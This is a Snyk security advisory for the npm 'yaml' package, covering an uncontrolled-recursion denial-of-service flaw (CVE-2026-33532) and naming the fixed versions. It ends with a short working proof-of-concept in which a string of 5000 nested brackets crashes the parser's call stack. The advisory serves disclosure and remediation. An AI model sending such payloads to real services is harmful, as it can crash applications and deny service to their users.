Uncontrolled Recursion Affecting yaml package, versions >=1.0.0 <1.10.3>=2.0.0 <2.8.3
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-YAML-15765520
- published26 Mar 2026
- disclosed25 Mar 2026
- creditkq5y, Peak Twilight
Introduced: 25 Mar 2026
CVE-2026-33532 (opens in a new tab)How to fix?
Upgrade yaml to version 1.10.3, 2.8.3 or higher.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion in the compose/resolve phase due to using recursive function calls without a depth bound. An attacker can cause the application to throw a RangeError and potentially terminate the Node.js process by supplying a deeply nested YAML payload that exhausts the call stack.
PoC
const YAML = require('yaml');
// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);
try {
YAML.parse(payload);
} catch (e) {
console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
console.log(e.message); // Maximum call stack size exceeded
}